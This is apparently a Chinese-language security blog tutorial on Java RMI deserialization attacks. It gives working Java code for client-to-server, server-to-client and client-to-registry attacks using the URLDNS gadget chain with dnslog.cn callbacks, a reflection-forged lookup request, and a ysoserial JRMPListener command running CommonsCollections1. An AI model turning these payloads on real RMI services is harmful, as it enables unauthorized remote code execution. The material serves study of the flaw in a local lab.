Java RMI分析

RMI

废话少说 实际上就是client想要调用server上某个类的方法 比方说 jed.hello(“hi”)

client将”hi”参数传回给server server在自己本机上调用jed.hello()方法执行后 将结果返回给client

RMI Registry纯粹是作为一个中转站

而由于server -> RMI Registry client <-> RMI Registry client <-> server这三个过程都要进行默认Object序列化和反序列化的操作

因此 如果我们传参是恶意Obejct或者server传回结果是恶意Object 就能够双向执行恶意代码

这里稍微具体的展开讲讲

关键点在server&&registry sideregistry.bind() registry.rebind()

实际上registry还有两个方法unbind() lookup()但是只接收String 而上面两个接收Object 并且有直接的反序列化进程 这个我们后话再提

由于服务端提供Skel 所以我们定位到RegistryImpl_Skel::dispatch()

根据operations定位到bind()实际实现在case 0 可以看到对于传入的Remote对象直接readObject()

case 3则是rebind() 与上面同理

这里就不举正常RMI调用的例子了 直接上反序列化内容

客户端 attack 服务端

适用:调用方法接收Object类型参数 服务端存在利用链

这里直接用URLDNS链了

User.java

1
2
3
4
5
6
7
8
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {

public String getName() throws RemoteException;
public void hello(Object s) throws RemoteException;
}

RMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
UserImpl user = new UserImpl("jednersaous");
//创建注册中心,设置端口为1234
Registry registry = LocateRegistry.createRegistry(1234);
System.out.println("registry is runing.....");
//绑定user对象到名字叫user下
registry.bind("user", user);
System.out.println("user is bing");
}
}

RMIClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("localhost", 1234);
User user = (User) registry.lookup("user");
user.hello(getpayload());
} catch (Exception e) {
e.printStackTrace();
}
}

public static Object getpayload() throws Exception{
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://a0da8o.dnslog.cn");
Class c =URL.class;
Field fieldHashcode = c.getDeclaredField("hashCode");
fieldHashcode.setAccessible(true);
fieldHashcode.set(url,1);
hashmap.put(url, 22);
fieldHashcode.set(url,-1);

return hashmap;
}
}

启动RMIServer之后 再启动RMIClient 发现hello()被调用

此时查看dnslog

可以看到经过反序列化 成功触发URLDNS链

服务端 attack 客户端

适用:服务端可控 将调用方法的具体实现返回一个恶意Object

UserImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;

public class UserImpl extends UnicastRemoteObject implements User {

public String name;
protected UserImpl() throws RemoteException {
super();
}

@Override
public Object clone() throws CloneNotSupportedException {
return super.clone();
}

protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
}

protected UserImpl(int port) throws RemoteException {
super(port);
}

public UserImpl(String name) throws RemoteException {
this.name = name;
}

@Override
public String getName() throws RemoteException {
return name;
}

@Override
public Object hello() throws RemoteException, MalformedURLException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://a0da8o.dnslog.cn");
Class c =URL.class;
Field fieldHashcode = c.getDeclaredField("hashCode");
fieldHashcode.setAccessible(true);
fieldHashcode.set(url,1);
hashmap.put(url, 22);
fieldHashcode.set(url,-1);

return hashmap;
}
}

RMIClient直接调用hello()就行了

这里触发了两次链子 盲猜一手注册中心和客户端都触发了一次

客户端 attack 注册中心

前面我们说了lookup() unbind()分别只接受String 没法传恶意对象过去

但当你了解了lookup()他们怎么发送的之后 你会发现可以直接自己伪造一个lookup()的请求

最重要的就是super.ref.newCall()这句 相当于是lookup的一个标识 我们完全可以通过这句的模仿来自建一个lookup()请求

RMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
UserImpl user = new UserImpl("jednersaous");
//创建注册中心,设置端口为1234
Registry registry = LocateRegistry.createRegistry(1234);
System.out.println("registry is running.....");
//绑定user对象到名字叫user下
registry.bind("user", user);
System.out.println("user is bing");
}
}

RMIClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.rmi.server.Operation;
import sun.rmi.server.UnicastRef;
import java.util.HashMap;

public class RMIClient {
public static void main(String[] args) {
try {
Object payload = hello();
// 获取super.ref
Registry registry = LocateRegistry.getRegistry("localhost", 1234);
Field[] fileds = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fileds[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fileds[0].get(registry);
// 获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 跟lookup方法一样的传值过程
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(payload);
ref.invoke(var2);

User user = (User) registry.lookup("user");
} catch (Exception e) {
e.printStackTrace();
}
}

public static Object hello() throws MalformedURLException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://rhemyf.dnslog.cn");
Class c =URL.class;
Field fieldHashcode = c.getDeclaredField("hashCode");
fieldHashcode.setAccessible(true);
fieldHashcode.set(url,1);
hashmap.put(url, 22);
fieldHashcode.set(url,-1);

return hashmap;
}
}

题外话JEP290

JEP290提供了限制反序列化的机制 有白名单或黑名单 需要手动设置

适用:>= jdk8u121 jdk7u131 jdk6u141

比如上面的利用方法在JEP290出现之后就失败了 这时我们需要一些Bypass的手段 复现这里留个坑


服务端 attack 注册中心

实际上和服务端 attack 客户端同理 这也是为什么之前URLDNS链触发两次的原因

触发点也是在RegistryImpl_Skel::dispatch()下

这里我的服务端和注册中心在一块 不太好复现 这种情况在实际生产环境上用的也少

注册中心 attack 服务端 || 客户端

yso集成了JRMP注册中心 直接用yso复现下试试

注册中心

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections1 "touch aaa"

客户端只要getRegistry后随便调用个bind() lookup()等那几个就行了

1
2
Registry registry = LocateRegistry.getRegistry("192.168.64.1",1234);
User hello = (User) registry.lookup("hello");

Java RMI分析
http://example.com/2025/04/17/Java RMI分析/
作者
Jednersaous
发布于
2025年4月17日
许可协议